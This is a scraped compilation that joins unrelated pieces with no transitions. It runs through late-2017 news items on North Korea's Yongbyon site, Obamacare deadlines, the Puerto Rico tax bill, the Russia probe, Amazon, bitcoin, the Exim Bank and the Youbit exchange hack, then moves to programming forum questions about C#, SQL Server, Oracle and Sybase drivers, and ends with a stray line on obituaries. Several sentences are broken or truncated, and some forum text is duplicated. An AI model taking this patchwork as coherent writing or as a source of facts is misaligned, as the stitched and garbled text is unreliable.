The Yongbyon Nuclear Scientific Research Center, the North's major nuclear facility, is so densely concentrated that one fire could lead to a disaster potentially worse than Chernobyl, former South Korean President Park Geun-hye claimed in 2014.

Known as the worst nuclear disaster in history, a 1986 explosion at a nuclear reactor inside Ukraine's Chernobyl nuclear plant spewed tons of radioactive material into the air and resulted in thousands of deaths linked to radiation exposure and cancer.

"While [Park's'] damage assessment is likely an exaggeration  researchers from 38 North assess Chernobyl's power output to have been 3,000 percent greater than Yongbyon  the potential for a nuclear accident is not," the note said.

The North has yet to witness a serious accident, but it's had a couple of close calls.
You might have missed that big Obamacare enrollment deadline you heard about last week  but there's a good chance you can still sign up for an Obamacare plan.

Nearly half of the U.S. population lives in an area where the final deadline for signing up for Obamacare has yet to hit, or where there are special exceptions to the deadline for this month.

But widespread confusion about deadlines for selecting an individual insurance plan this year is putting people at risk of missing out on a last chance of getting health coverage for 2018.

"The vast majority of people did not know the deadlines in their state," said Karen Pollitz, a senior fellow at the Kaiser Family Foundation, a leading health policy research group.

That confusion is understandable, since there's no single deadline this sign-up season in the entire United States, and because the deadline in large areas of the country was cut in half from last season.

But nine states and the District of Columbia, which all run their own Obamacare marketplaces, have separate upcoming deadlines, falling between this Friday and Jan. 31.

"Oh, it's messy!" said Charles Gaba, who runs the Obamacare tracking site ACASignups.net, and who in recent days has posted a flurry of news updates about areas where people can still enroll.

Gaba has estimated that about 49 percent of the U.S. population lives in an area where the final sign-up deadline has yet to pass for 2018 coverage or where residents can sign up outside of a passed deadline.

But he said federal health officials could have done a much better job at alerting people in many areas to their eligibility for signing up outside of an earlier deadline.

The Kaiser Family Foundation published an updated map on the deadlines Tuesday afternoon, reflecting new information.
The federal government could put another obstacle in Puerto Rico's road to economic recovery.

If Congress passes the bill to revamp the U.S. tax code, companies with operations on the island would be treated as those functioning abroad. The bill would put a 12.5 percent tax on intellectual property income made by those companies. Gov. Ricardo Rossello said Friday that companies would be taxed at a minimum rate of 10 percent on their overseas profits.

The move would make it less attractive for companies in Puerto Rico to stay there since they could get a more favorable tax rate elsewhere.

Heidie Calero, president of HCalero Consulting Group, a firm based in Puerto Rico, said manufacturers on the island would get hit the hardest. This would further cripple the commonwealth's already reeling economy.

"Manufacturing in Puerto Rico accounted for 47 percent of Puerto Rico's GDP during fiscal 2016," Calero said. "That's not something you can just replace easily."

"We're pretty much just getting ready for 'Maria part 2,'" she said.

Puerto Rico was ravaged three months ago by Hurricane Maria, a Category 4 hurricane that decimated the island's power grid and pushed thousands of residents to leave.

Companies that could be affected by the tax bill are medical device makers and pharmaceutical makers, which have a lot of intellectual property. Amgen , Eli Lilly , Boston Scientific , Medtronic and Baxter International all have operations in Puerto Rico and are major employers.

A Medtronic spokesman told CNBC the company is still evaluating "the tax bill's ultimate impact." Boston Scientific declined to comment. The other companies mentioned did not respond to CNBC's request for comment.

"It won't be an easy road moving forward," said Jose Joaquin Villamil, president of Estudios Tecnicos, an economic consulting firm based in Puerto Rico. "This bill could have a big impact on the companies already established in Puerto Rico."

Calero of HCalero said the bill gives her a sense of deja vu, recalling the phasing out of a corporate tax break known as Section 936. The break was fully phased out by 2006, when Puerto Rico's current recession began.

The island's finances have been in shambles ever since. The commonwealth is struggling to pay a massive debt of more than $70 billion. Its tax base is also dwindling as many residents leave to find better job opportunities and a higher standard of living elsewhere.

Puerto Rico's population fell to an estimated 3.4 million residents as of July 2016 from 3.7 million in 2010, an 8 percent decline, according to the Census Bureau. Thousands have also left Puerto Rico since the storm hit.

Its unemployment rate is also higher than that of any state, at 10.6 percent, according to the Bureau of Labor Statistics. The island also has a poverty rate of 43.5 percent, according to the Census Bureau, more than double that of Mississippi, the poorest state.

"It is devastating and unconscionable that Congress would do this at this juncture," Rossello told NBC News last week, when the bill was first released.
Sen. Mark Warner sat down with CNBC's John Harwood to discuss a range of topics, including the Senate Intelligence Committee's probe into Russian meddling in the 2016 election and possible collusion with President Donald Trump's campaign. What follows is an edited, condensed excerpt of the conversation.

CNBC's John Harwood: You are leading, with Sen. Burr of North Carolina, the intelligence investigation into Russian interference. Some people look at your probe as an oasis where you have two guys in fact working across party lines in a cooperative way. Is that cooperation living up to the hype?

Sen. Mark Warner: Listen, there's always going to be pressure. There's pressure on me from a number of Democrats who presume the president is guilty and, you know, "Let's just get to that." There's pressure on Richard Burr from Republicans who say, "nothing here, just get rid of this investigation." What we both committed to is we're going to follow the facts wherever it leads.

Harwood: Do you think he is withstanding the pressure?

Warner: Yes, I think he is withstanding the pressure. Do we agree on everything? Absolutely not. But I think we're a year into this, we've got a number of additional witnesses that we need to see. And I think that we have on many of the issues, broad bipartisan consensus. We have absolute consensus that was already reached by all of the leaders of the intelligence community, that Russia massively intervened in our elections in a way to try to help Trump and hurt Clinton. We have complete agreement that Russia tried to intervene in 21 of our states' electoral systems. And we hope to have recommendations early next year so that our systems can be better protected.

My business was in the tech field, and I'm a big supporter of tech companies. You look at the Googles, the Facebooks, the Twitters that are great iconic American companies. But they have created, within this kind of social media ecosystem, a dark underbelly. I think we've shown that underbelly. And with a little nudging and public exposure, the companies are starting to change their practices.

There's never been a campaign in modern American history that has had this much contact with a foreign power both before the election and in the immediate aftermath. We do know the Russians were proffering, you know, dirt on Clinton. What exactly was the reaction from the Trump campaign and campaign officials? I'm still reserving judgment until we see all of the principal figures in front of the committee members themselves.

Harwood: Donald Trump Jr. spent hours before your staff. Do you and Sen. Burr agree that you members should also interview Donald Trump Jr. and that it should be in public?

Warner: We're going to have to work through the venue. That's part of our discussion.

Harwood: So no consensus on it.

Warner: The chairman and I will work through that. But what we do agree on is that the vast majority of members of the committee, Democrat and Republican alike, before they put their names on a final report, they're going to want to have a chance to talk to the principal figures whether it's Donald Trump Jr., Jared Kushner, Mr. Cohen, who's one of the Trump's primary lawyers.

Harwood: What about the president?

Warner: On the president, I think there needs to be more nexus established. We'll see where special counsel Mueller's investigation leads.

Harwood: Are you highly confident that you'll end up with a unified single report?

Warner: I'm highly confident that on issues around electoral interference, around the tactics the Russians used in terms of helping one candidate and hurting the other, around the question of how social media was used and abused, that there will be broad bipartisan consensus. I think we'll also agree that there was a huge amount of contact between the Russians and officials from the Trump Organization and campaign. The nature of that contact and what may or may not have been exchanged, I think the jury is still out.

Harwood: You've said in the past that on this issue of collusion, you've seen smoke but not fire. Is that still the case?

Warner: I think more and more of this picture's coming into view. I think some of the comments that I made literally months ago, I would amend those comments in terms of where we stand today.

Harwood: You've seen fire?

Warner: I'm not going to jump to any of those final conclusions until we go through this whole process. But I've been absolutely amazed at the number and extent of the contacts and the fact that it feels like almost every week or two, we find a new line of inquiry.

In the case of Gen. Flynn, the fact that he settled on pleading guilty to only one count says to me that probably Gen. Flynn has got a lot more of the story to tell. And since Gen. Flynn was intimately involved in the campaign and obviously one of the major contacts with the Russians throughout the transition, I think he's got very, very important facts to shed on this case.

Harwood: Do you believe the president knew he was reaching out to Ambassador Kislyak in December about sanctions?

Warner: I don't know. I do know that the president has been obsessed about this investigation, the president continues to call it "fake news" even though every one of his intelligence officials acknowledges this, even though every foreign leader acknowledges because we've seen similar Russian tactics take place in France, in The Netherlands. We're seeing the first in effect shots fired in the way 21st century warfare is going to be carried out.

Harwood: Now, there are some people who have looked at how the president's responded and not accepted some of the intelligence. They say, "Well, that's about ego." That's about not wanting to accept facts that would seem to call into question the legitimacy of his election victory. Is that what you think it is? Or do you think that it is something else?

Warner: John, I don't know. For someone who claims as he does that "There's no there there"  if there is no there there, then he ought to be much more collaborative on trying to get this investigation behind him. Instead, we have these constant actions including firing  you can't make some of this stuff up  firing the FBI director and then bragging about it to the Russian foreign minister where he calls America's senior law enforcement official "a nut job" and says, "This is going to take the pressure off of the so-called Russia thing." When he is out on a regular basis criticizing Bob Mueller.

Again, let's step back for a moment. We have an FBI director who was appointed by this president, who has been a longtime contributor to Republican candidates. We have a deputy attorney general, Rod Rosenstein, who is a well-known Republican, senior official at the Justice Department. We had Jim Comey who was a known Republican for his whole time as FBI director. And we have Bob Mueller, who beyond being a well-respected law enforcement official and Vietnam vet, was appointed by Republicans as head of the FBI.

So the whole leadership of the FBI and this investigation are all people with impeccable Republican credentials. Yet, this president is still disdainful of all of them. And I think any American, and even somebody like myself who wants to give him the benefit of the doubt says, you know, "This seems a little weird. This is a little screwy."

"Speakeasy with John Harwood" is now available as a podcast. Subscribe on iTunes and listen to Harwood's extended conversations with political decision-makers.
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Despite a world of e-commerce choices and possibilities, when it comes to where Americans shop online, there's really only one answer. Amazon. For the second year in a row, more Americans will shop online for all or most of their holiday gifts, more than ever before in the 12-year history of CNBC's All-America Economic Survey. Forty-five percent said e-commerce is the top place they have shopped or plan to shop this season. While it's the second straight year that online is the top shopping destination, it's 5 percentage points above last year and more than twice as popular as it was a decade ago.

But the real eye-opener is just how much Amazon dominates. Seventy-six percent of Americans shopping online this holiday season expect to do most of that shopping on Amazon. No other retailer or website is even close to the king of the online jungle. "As much choice or selection as the internet provides, it's just an amazing set of data to see all that concentrated in one online retailer," said Micah Roberts, a partner at research firm Public Opinion Strategies. "It really underscores the dominance in that space." Walmart comes in second, but far behind, with only 8 percent of Americans who shop online searching or checking prices there, with other retailers clumped close behind the discounter.

For Americans who shop online, 65 percent search on Amazon always or most of the time, up sharply each of the last 2 years. Online conversion, or the rate of getting consumers who browse to follow through with a purchase, is notoriously small. Most estimates put the average rate of overall online conversion at around just 3 percent. But Amazon has broken the mold on that one too, according to the results of CNBC's survey, with 57 percent of Amazon searchers buying on the site always or most of the time. When asked what's most important when it comes to online shopping, 43 percent say free shipping. Of course, in order to get free shipping from Amazon, you have to spend at least $25 per order or pay $99 a year for a Prime Membership. The ability to compare prices ranks second, at 26 percent, followed by the availability of product information at 18 percent. But while price comparison is second in terms of importance, the digital divide within incomes persists when it comes to online shopping. Of Americans who do a lot or a fair amount of shopping online, 20 percent have incomes of $30,000 or less, while 62 percent make $100,000 or more.
Jordan Belfort, the real "Wolf of Wall Street," is once again warning against buying into bitcoin. In an interview last week with CNN Money, the former stockbroker says that bitcoin is essentially a scam.

"There's no regulation on the actual level of bitcoin itself," he tells CNN's Richard Quest. "Yeah there's futures regulation but the underlying asset is completely unregulated. It's a dark market."

The former stockbroker is the inspiration for the Martin Scorsese movie titled, "The Wolf of Wall Street." Belfort spent 22 months in jail after pleading guilty to securities fraud and money laundering in 1999. He wrote a memoir about his experiences, which was then adapted into the 2013 film.

These comments about bitcoin mirror his recent statements to The Financial Times. In October, Belfort warned that promoters of ICOs were "perpetuating a massive scam of the highest order on everyone."

Belfort explains that there are people who are now using the success of bitcoin to create "massive pump and dumps" with other cryptocurrencies.

"I think it's a huge danger right now that people are looking at this as the next great thing," he tells CNN Money. "It's a bubble for sure."

Going forward, Belfort says you will likely see bitcoin and other cryptocurrencies skyrocket. Eventually, he warns, it's going to come caving in: "It's almost a guarantee."

Belfort joins a growing list of financial experts and investors who warn against joining the bitcoin craze. Though bitcoin surpassed $19,000 for the first time this month, CNBC's Jim Cramer calls it a pure gamble.

"I'm not denying the crypto world, I'm supporting the crypto world. I think that crypto is great," Cramer said on "Squawk Box." "But I think we have to be a little more careful."
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Main Street helped Donald Trump to a win in November 2016, feeding on his message of less regulation, coupled with overhauls to both the tax code and the Affordable Care Act. These pillars of Trump's campaign and his first year in office  with expectations for action on key issues like tax reform  have sent optimism on Main Street soaring, alongside the stock market's record run. Yet these groups are hoping for more traction beyond just a tax overhaul. "We had three big priorities coming into this year: tax reform, health-care cost relief and regulatory relief. And the only one that we've seen real movement on is regulatory relief. Tax reform is a mixed bag ... and of course, on health-care reform, we've got no relief whatsoever. So there's been some progress, but not as much as we'd hoped for," said Todd McCracken, president and CEO of the nonpartisan National Small Business Association. Here's where Washington stands on key concerns that will impact Main Street.

Tax cuts

Tax cuts and simplification has long been a key issue among Main Street advocates, who may get some of what they wished for this week with votes slated on the GOP tax reform plan. Republican leaders have signaled they have the votes needed to pass the plan this week. The bill includes a 20 percent deduction on income up to $315,000, but service businesses structured as pass-throughs, like doctor's offices and law firms that earn more than $315,000, are not qualified. This change expires after 2025. Corporations also see a large drop in their rate, from 35 percent to 21 percent beginning in 2018.

President Donald Trump delivers remarks on tax cuts to the National Association of Manufacturers at the Mandarin Oriental Hotel. Shawn Thew-Pool | Getty Images

The conservative National Federation of Independent Business initially spoke out against the House version of the bill, claiming it did not do enough to support Main Street, but has come out in support of the Conference Tax Bill, given its changes. "Tax relief is the No. 1 priority for small businesses, which represent half the economy and half the GDP. This bill will allow millions of small-business owners to keep and reinvest more of their money so they can grow and create jobs. We urge both chambers to pass the bill quickly so it can be signed into law by the end of the year," NFIB President and CEO Juanita Duggan said in a statement. The NSBA also said it supports the bill, despite ongoing concerns with simplification and true parity among small and large businesses. "It encourages investment, both from individuals and companies in their businesses, and it sort of sets the stage for economic growth over the next few years," McCracken said.

Health-care reform

Attempts to repeal and replace the Affordable Care Act  a key promise from Trump while on the campaign trail  stalled in Congress. While advocacy groups are hopeful that tax reform will come to fruition, there is admitted disappointment in regard to lack of action. Both the NSBA and nonpartisan Small Business & Entrepreneurship Council have expressed hope that once the tax reform hurdle is cleared, the focus will shift to health care.

House Speaker Paul Ryan (R-WI) holds a news conference after Republicans pulled the American Health Care Act bill to repeal and replace the Affordable Care Act act known as Obamacare, prior to a vote at the U.S. Capitol in Washington, March 24, 2017. Jonathan Ernst | Reuters

"Small-business owners understand that everything takes longer in Washington, but they did have high expectations for President Trump getting more things done at a faster clip," SBE Council President and CEO Karen Kerrigan said. "That is what he said he would do. They are expecting a signed tax reform bill. With the failure of health-care reform, they are now looking at his executive orders on health coverage to bear some fruit."

NAFTA renegotiation

Renegotiating NAFTA has been a key talking point for Trump as both a candidate and as president. He's gone so far as to call the decades-old trade deal one of the "worst ever," adding he may instead go for bilateral agreements with Canada and Mexico if NAFTA is scrapped. The changes stand to impact companies that import and export with the two countries, which is key, as small businesses can be a powerful force in exporting. In fact, data from the International Trade Association finds that 98 percent of exporting companies were small- and medium-sized businesses in 2015. However, the biggest barrier to trade can be knowledge over how to get started and concerns over payment. "We are supportive of NAFTA and most trade deals," said Molly Day, vice president of public affairs for the NSBA. "The majority of small- and midsize exporters say they are more likely to enter a new market if it is covered under a free trade agreement with the U.S. Furthermore, just 5 percent report actually being hurt by FTAs."

Minimum wage

With Trump in office and a GOP-controlled Congress, there's little hope for a hike in the federal minimum wage, which has been stagnant at $7.25 an hour since 2009. Some groups, like the NFIB, argue that higher-wage mandates can hurt small business, adding more regulatory burden. But nonetheless, pay is rising around the country.

Fast-food workers and activists demonstrate outside the McDonald's corporate campus in Oak Brook, Illinois,calling for a minimum wage of $15 per hour and offer better working conditions for employees. Scott Olson | Getty Images News
Dwayne "The Rock" Johnson already has wrestler and actor on his resume. Now, he's contemplating running for president of the United States.

In a recent interview with Ellen Degeneres, Johnson admits that he's "seriously considering" running.

The actor reveals the main reason he wants to be become the leader of the free world in a subsequent interview with USA Today: "To serve the people and create a better environment for them."

Johnson admits that the idea to run for president didn't come from him. "It started a few years ago from a piece in the Washington Post," he says, which basically stated that he could actually win. The idea received public support and grew from there.

"I can tell you with all honesty that the consideration comes at the desire from a large amount of people that would like to see this happen," he says.

When pressed on whether he's looking at a 2020 candidacy, Johnson acknowledges that that would "probably be the case."

Interestingly, Johnson suggests in an interview with Variety that he plans to run for the office four years later due to film obligations. "Realistically, as we go into 2018, when you look at my slate as we're developing and shooting into 2019 and 2020, the slate goes deep into 2021, so it feels like the realistic consideration would be 2024," he says.

Though he was previously registered as a Republican and has appeared at the Republican convention to boost voter registration, according to the Washington Post, he tells USA today, "Right now I'm an independent."

But if he were to run next year, he has a few things already going for him.

Since he hasn't previously been involved in politics, he doesn't have a record that could be used to paint him a "flip-flopper" when it comes to public policy.

Plus, he's well-liked, extremely charismatic and often leaves his fans with inspiring messages about the road to success.

Johnson is also known as a diligent and hard worker among those who've worked with him. "He's grinding every day," Alvin Streeter, who has worked as the actor's stand-in for several movies, including "The Fate of the Furious" and "Baywatch," tells CNBC.

"There's an intensity when you're working around him and you can see it and feel it in the air," Streeter adds. "He's going 150 miles an hour every day."

The actor joins a growing list of other media personalities who are reportedly gearing up for the next election, including media mogul Oprah Winfrey, rapper Kanye West and comedian Chris Rock.

However, Johnson tells USA Today there are many other considerations that have to come into play as he considers running for the presidency.

"Politics is not my business," he explains. "So the consideration is there and we'll just have to see. I continue to watch and learn as much as I possibly can."

Like this story? Like CNBC Make It on Facebook.

See also:

The Rock: This was the 'best thing that never happened' to me

Mark Cuban and 7 other celebs considering a run for president

What it's like to work with The Rock
Ride-hailing firm Ola has acquired the Indian unit of online food delivery service Foodpanda from Delivery Hero in exchange for an undisclosed equity stake.

Ola, the online transport service now based in Bangalore, said Tuesday that it would invest $200 million into Foodpanda's Indian business, adding that this would be the largest injection of cash into the country's digital food ordering and delivery industry. Foodpanda is a German-based food delivery marketplace that was bought up by its larger rival Delivery Hero in 2016.

Pranay Jivrajka, founding partner at Ola, will serve as interim chief executive of the Foodpanda unit in India.

"As one of India's pioneers in the food delivery space, Foodpanda has come to be a very efficient and profit focused business over the last couple of years," Bhavish Aggarwal, co-founder and CEO of Ola, said in a press release Tuesday.

"Our commitment to invest $200 million in Foodpanda India will help the business be focused on growth by creating value for customers and partners."

Ola raised $1.1 billion in a funding round led by China's Tencent in October, valuing the company at $7 billion.
The U.S. Senate Banking Committee looks set to reject President Donald Trump's nominee to run the Export-Import Bank (Exim) on Tuesday, but the 2-1/2-year freeze on its ability to finance major export projects could begin to thaw soon anyway.

Scott Garrett, a former Republican congressman who helped lead efforts by conservatives to shut down Exim in 2015, has lost the support of Republican Senator Mike Rounds, giving Democrats enough votes to block his confirmation.

A Rounds spokeswoman said on Monday that the South Dakota Republican will vote against Garrett, but vote in favor of nominees for four other Exim board positions and another nominee to be the agency's inspector general. The panel has 12 Republicans and 11 Democrats.

All of the panel's Democrats have pledged to oppose Garrett but support the other nominees, likely giving them enough support for approval. Once approved by the full Senate, Exim would see its full lending powers restored and could quickly begin clearing a $42 billion backlog of deals in its pipeline.

Exim opponents, who branded the bank as a source of "corporate welfare" for Boeing , General Electric , and other big manufacturers, effectively shut down the bank's lending operations in 2015.

Although Congress renewed Exim's charter by a wide margin in 2015, the bank has lacked a board quorum of three members since then, as some senators blocked new nominees.

This has prevented it from making or guaranteeing loans above $10 million, locking it out of financing for commercial aircraft and engines, power plants, petrochemical plants and other large infrastructure projects.

Major business lobbying groups, including the National Association of Manufacturers, have called for Garrett's rejection because of concerns that he would undermine the bank from within.

Garrett vowed at his confirmation hearing that he would keep the bank "fully open" but struggled to convince Democrats that he believed in the bank's mission to finance U.S. exports.

Conservative fervor against the self-funded Exim has waned as President Donald Trump has backed the trade bank, recognizing that it can aid his "America First" trade strategy and boost exports.

Scott Schloegel, who Exim's acting first vice president and a holdover from the Obama administration, said that the bank could probably approve half of the $42 billion worth of deals stuck in its pipeline in about six to eight months after the new board members are confirmed.

About $21 billion worth of the backlogged projects are in the power sector, with $14 billion in oil and gas, $3.6 billion in transportation including aircraft, $2 billion in infrastructure projects and $1.3 billion in technology including satellites and space launches, Schoegel said.

He added that China has aggressively taken advantage of Exim's absence, however, particularly in the power sector, to win billions of dollars in new projects by offering fully financed bids to developing countries.

"Our mission fits very well with the president's position, Schloegel told Reuters. "The more manufactured goods that we can finance and export out of the United States, the better off American workers will be."
Republicans are poised to approve the first major overhaul of the American tax code in decades on Tuesday.

The GOP is rushing toward its year-end target to pass a tax bill, despite the measure's broad unpopularity in recent polls. The House aims to approve the legislation Tuesday afternoon, followed by the Senate in the evening.

If passed by both chambers, the bill will go to President Donald Trump's desk for him to sign it into law.

Republicans, who have long sought changes to the U.S. tax system, contend that their plan will spur an economic boom, encouraging businesses to create more jobs and boost workers' wages. Democrats warn of a gift to corporations and wealthy Americans that would cause more income inequality and balloon federal budget deficits.
A meeting this week between President Donald Trump's lawyers and the special counsel's office could be a flashpoint in the Russia probe.

The Washington Post reports that the president's team is shooting for a swift conclusion and special counsel Robert Mueller is gearing up for at least another year on the job.

The meeting is the first between the two sides since the completion of the special counsel's interviews with White House staff, according to CNN. It comes amid mounting criticism of the investigation from conservatives.

Attorneys for the president predicted publicly that the investigation into the White House would be over by Thanksgiving and have remained optimistic about a short timeline. That optimism isn't shared by those familiar with the probe, according to the Post. It said those sources told the paper that the probe could last well into next year.

While the president's team acknowledges that the investigation as a whole could stretch into 2018, they have advised the president that he will be cleared earlier, the Post said.

The president has expressed mounting frustration with the probe, even though he's certain he will not be charged with a crime stemming from Russia's meddling with the 2016 election.

"As we said, there's no collusion," Trump said, according to The Associated Press.

The White House declined to comment to CNBC on Tuesday. Ty Cobb, an attorney for the president, also declined to comment.

The meeting comes a week after among the special counsel's investigators.

"The Mueller team overwhelmingly ought to be attired with Democratic donkeys," Rep. Steve Chabot, R-Ohio, told the No. 2 Justice Department official.

On Friday, Rep. Jackie Speier, D-Calif., said there was a "rumor" that Trump was planning to fire Mueller. Trump denied that claim.

A spokesperson for the special counsel's office declined to comment.

Most special counsel investigations take years to complete, though Mueller's probe is moving faster than previous inquiries, according to an analysis from the website FiveThirtyEight.

Mueller's investigation has resulted in criminal charges against four Trump White House and campaign officials, including the guilty plea of former National Security Advisor Michael Flynn and the indictment of Trump campaign chair Paul Manafort on charges involving improper financial dealings. Manafort has pleaded not guilty, and is contesting the charges.

Read the full report from The Washington Post here.
Yapian, a company that owns the Youbit exchange in South Korea, filed for bankruptcy Tuesday after a hack that resulted in the loss of 17 percent of its cryptocurrency, according to a statement on its website.

(News of the hack was first reported by The Wall Street Journal.)



The exchange was used to purchase and sell cryptocurrencies including bitcoin and ethereum.

A translated statement posted by the company on its website said customers will be able to withdraw 75 percent of assets held there until the bankruptcy process is complete.

After a hack in April, the company said, it did its "best to improve the security, recruitment and system maintenance."

South Korea's Internet and Security Agency blamed the earlier attack on cyberspies working for North Korea, according to the BBC.


The lack of surety in programming is part of the reason software is fragile.



Field<T> method already returns the correct type. There's no boxing/unboxing involved.

C# long ORDINAL_POSITION = row.Field<Int64> ( " ORDINAL_POSITION" ); ushort DATA_TYPE = row.Field<UInt16> ( " DATA_TYPE" );

The C# types are just aliases for the .NET equivalents; so long === System.Int64 , etc.



I suspect the documentation is probably wrong, and the DATA_TYPE column is most likely an Int32 , which can then be cast to an OleDbType value. Check the value returned by table.Columns["DATA_TYPE"].DataType to see what it's defined as.





"These people looked deep within my soul and assigned me a number based on the order in which I joined."

- Homer











It *may* have been that I was getting DBNull back for value types out of SQL Server, which causes an exception. I left the explicit cases in my code just because I'm afraid of breaking it and I have moved on to something else, finally.



I appreciate your help and will exclude the explicit casts the next time I need to get the values form a database in some code that I feel more comfortable with. This code includes a ton of other C# constructs that are new to me, which lead to a pretty terrible debugging experience.

The lack of surety in programming is part of the reason software is fragile.



The Problem:

Parent & child relationship currently captured in tblCGs and tbcs tables. The MasterClient are held in tblCGs table while Children are stored in tblCs tables using tblCGs. GroupMasterCustKey as key and CustomerKey as Child key.

 Currently a tblCGs table allows the linking of Parent using (GroupMasterCustKey) to child tblcs - (CustomerKey) table which may or may not exist.

AssociatedClient Field in the tblcs table: These are related clients without any hierarchical relationship.

 Currently the AssociatedClient on the tblCs table is too limiting varchar(20) and

can have implications or cause issues.



Proposed Solution:

 To Implement a new table structure where individual rows such as MIND227 - MIND227(customer ranges) are retrieved from the table rather than IND227 - IND229

 Move the Associatedclients Field in tblcs into a separate table with the following fields (ID, ClientID1, ClientID2..... , ClientRelationshipReasonID, and CreatedDate)



Please see the sample code below



IF OBJECT_ID('tempdb..#tblCGs') IS NOT NULL DROP TABLE #tblCGs

IF OBJECT_ID('tempdb..#tblCs') IS NOT NULL DROP TABLE #tblCs



--Create ClientGroups table.

CREATE TABLE #tblCGs

(

[GroupID] int NOT NULL, ---- IDENTITY(1,1) NOT FOR REPLICATION NOT NULL,

[GroupMasterCustKey] varchar(100) NOT NULL, ---[MasterCAN]

[GroupFromCustKey] varchar(100) NOT NULL, --- CONSTRAINT [DF_tblCGs_GroupFromCustKey] DEFAULT (' '),

[GroupToCustKey] varchar(100) NOT NULL -- CONSTRAINT [DF_tblCGs_GroupToCustKey] DEFAULT (' '),

)



-- Populate the table with values.

INSERT INTO #tblCGs VALUES

(988, N'MIN036', N'MIND227', N'MIND229')

, (668, N'08035635', N'31036422', N'31036422')

,(669, N'08035635', N'31035623', N'31035623')



-- Create Customer table.

CREATE TABLE #tblCs ---Customers

([CustomerID] int not null ------IDENTITY(1,1) NOT FOR REPLICATION NOT NULL,

,[CustomerKey] varchar(100) NOT NULL --- [ChildCAN]

,[CompanyName] varchar(300) NULL

,[AssociatedClient] varchar(20)

,[CreatedOn] Datetime

)



--Populate the table with values.

INSERT INTO #tblCs VALUES

(72894, N'MIND227', N'MIND Mind in Haringey', N'MIN036','2011-11-16 00:00:00.000')

,(93469, N'MIND228', N'Caerphilly Borough Mind', N'MIN036','2014-03-08 00:00:00.000')

,(98199, N'MIND229', N'Brecon and District Mind', N'MIN036,BDC004,POW044','2014-11-26 00:00:00.000')

,(61705, N'31036422', N'Revive', N'Null','2010-04-01 09:13:10.550')

,(61729, N'31035623', N'Jysk Ltd', N'Null','2010-04-01 12:56:16.837')



--- Current Queries

SELECT *

FROM #tblCGs AS CG

INNER JOIN #tblCs AS C

ON C.CustomerKey >= CG.GroupFromCustKey

AND C.CustomerKey <= CG.GroupToCustKey



The desired output should like this and not output of the above query

ID ClientID1 ClientID2 ReasonTypeID

1 201 301 1

2 201 302 1

3 201 303 1

4 303 401 1

5 601 701 3



Thanks for your help



Hi all,



I have one task ,



To convert an Excel file to CSV and then move that data from CSV to oracle database.



EXCEL FILE HAS :3 COLUMNS



NAME,CITY,STATE .



my requirement is I need to convert from excel to csv and csv to oracle datatable I have to do in backend.



asked me to use sqlloader.



earlier I haven't worked on this type of ticket.



can you please give me an idea .



I have to do in backend not in .net application.



I am using ORACLE(TOAD)



What I have tried:



Hi all,



I have one task ,



To convert an Excel file to CSV and then move that data from CSV to oracle database.



EXCEL FILE HAS :3 COLUMNS

NAME,CITY,STATE .

my requirement is I need to convert from excel to csv and csv to oracle datatable I have to do sqlloader .



earlier I haven't worked on this type of ticket.



can you please give me an idea .



I have to do in backend not in .net application.



I am using PLSQL(TOAD)





1. You can save the file as CSV. Do a "save as" and then pick the 'type' via the drop down.

2. Then as noted you can use sqlloader.



If you must automate this to do it over and over then there are other problems you did not touch on like how you know there is a new file and how to recognize an update versus new.



But at any rate it is possible to read an excel file via an "ODBC" driver. I believe this is still possible, once you track down the driver. This would with very simple Excel files.



Hi All,



I have a new product must be cloud over an internet and we need to choose the best database for this issue from the pricing and performance issues.

we need to know the best for this, is it the Microsoft SQL Server or the PostgreSQL.

(SQL Server VS PostgreSQL).



also I need the best tutorial and videos about the PostgreSQL database.

Please Help me ASAP.



Thank You All





"There are three kinds of lies: lies, damned lies and statistics."

- Benjamin Disraeli



Hi I want write a code that overwrite from a folder of DB to a other folder and this code run as windows services ,How do I write this code?

Thanks Very Much

Marzi



While exchanging referrals and asked to write bitcoint to where money was transferred what do i write?am using my name but am not its not found on database please help



For many years, I have been successfully using MS Access VBA to import data from a Sybase ASE server through direct queries. Several years ago, it was necessary to locate and install new drivers when I upgraded from XP to Win7 64-bit. All was working well until I got a new Win10 PC. I fought with installing the same drivers I used with the Win7 machine but was finally able to make a successful connection. The recordsets that are returned contain empty character fields. Numeric and date fields display fine.



For example,

SQL SELECT 123 FROM someTable Returns: 123





SQL SELECT ' 123' FROM someTable Returns:



I tried different values for the CharacterSet parameter in the connection string but it made no difference. I also googled... There was some information regarding empty strings for formatting purposes but none that I found that would explain the above results.I can't figure out why only char fields are affected. I would expect all or nothing if it were a driver issue but the same drivers work in Win7.



Any thoughts??







However it very likely has to do with HOW you are calling it which you did not specify.



But I will note that in the first case I would expect a caller to be defined to expect a numeric value.



While the second would require a caller to expect a textual value and probably a 'CHAR' type with a specific size (3 or greater) specified.







VB Public Sub Doit() Dim rs As New ADODB.Recordset Dim cn As New ADODB.Connection Dim sSql As String Dim sConnStr As String sSql = " SELECT '123' FROM someTable" sConnStr = " Provider=ASEOLEDB.1;Password=[password];Persist Security Info=True;User ID=[user];Data Source=[ip_address]:[port];Initial Catalog=xyz" sConnStr = Replace(sConnStr, " [password]" , " ******" ) sConnStr = Replace(sConnStr, " [user]" , " ******" ) sConnStr = Replace(sConnStr, " [ip_address]" , " *******" ) sConnStr = Replace(sConnStr, " [port]" , " ******" ) cn.Open sConnStr rs.Open sSql, cn Debug.Print rs.GetString End Sub



Devart driver and string fields are returned as expected. Further research shows that there are newer drivers in the SDK but it is no longer available to common folks like myself. I suppose I will have to weigh the cost of a third party driver versus redesigning and distributing the app. Unless anyone knows an alternate location for ASE drivers compatible with Windows 10??



First please excuse my bad english. As you can asume it's not my native language....





I'm using SQL Server Compact Edition and Visual Basic 2015 and i did a few programs with SQL-Databas-Access so far.



This programs where quite simple. They read the whole table at the beginning into a Dataset, work with this and write it back when the application is closed.



Now i need some more secure access and found some information that it's better to cut the database Acces from the gui and the business logic - all three called layer.



What i need or what i'm asking for is a small sample application with just one Database-Table - let's name it "Persons" with the fiels "Person-Id" (the key), "Person-Firstname", "Person-Lastname", "Person-DateOfBirth".



GUI should have separate fields for each of the given fields.



Acces should be Record by Record. (Input the Id, if exist show the related data in the gui, if not show empty fields, with a save button to change values / write the changes to tha database.)



Business logic may just check if the DateOfBirth is in a range from 1.1.1900 to 31.12.2099.



How should my class look like to build all three layers?





Maybe this is to much described in detail...



I just want to see a class representing all 3 layers to handle some persons data ...



Is this possible? Whould someone be so kind? This would help me so much in understanding!!!



Thank you very, very much!


Types of obituaries

The Missourian publishes two types of obituaries  family obituaries and life stories.

